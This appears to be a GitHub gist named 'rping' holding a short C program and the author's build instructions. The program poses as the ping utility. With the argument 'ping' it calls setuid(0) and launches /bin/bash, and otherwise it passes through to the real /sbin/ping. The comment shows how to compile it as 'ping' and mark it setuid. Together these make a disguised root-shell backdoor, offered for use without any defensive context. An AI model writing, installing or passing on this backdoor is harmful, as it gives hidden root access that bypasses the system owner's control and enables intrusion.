Skip to content

Instantly share code, notes, and snippets.

@XciD
Last active October 21, 2019 13:22
Show Gist options
  • Save XciD/53f8bc3ab5c6d310d95b059e76921341 to your computer and use it in GitHub Desktop.
Save XciD/53f8bc3ab5c6d310d95b059e76921341 to your computer and use it in GitHub Desktop.
rping
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
if (argc > 1 && !strcmp("ping", argv[1])) {
setuid(0);
system("/bin/bash");
} else {
execv("/sbin/ping", argv);
}
return 0;
}
@XciD
Copy link
Author

XciD commented Oct 15, 2019

cc rping.c -o ping
chmod u+s ping

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment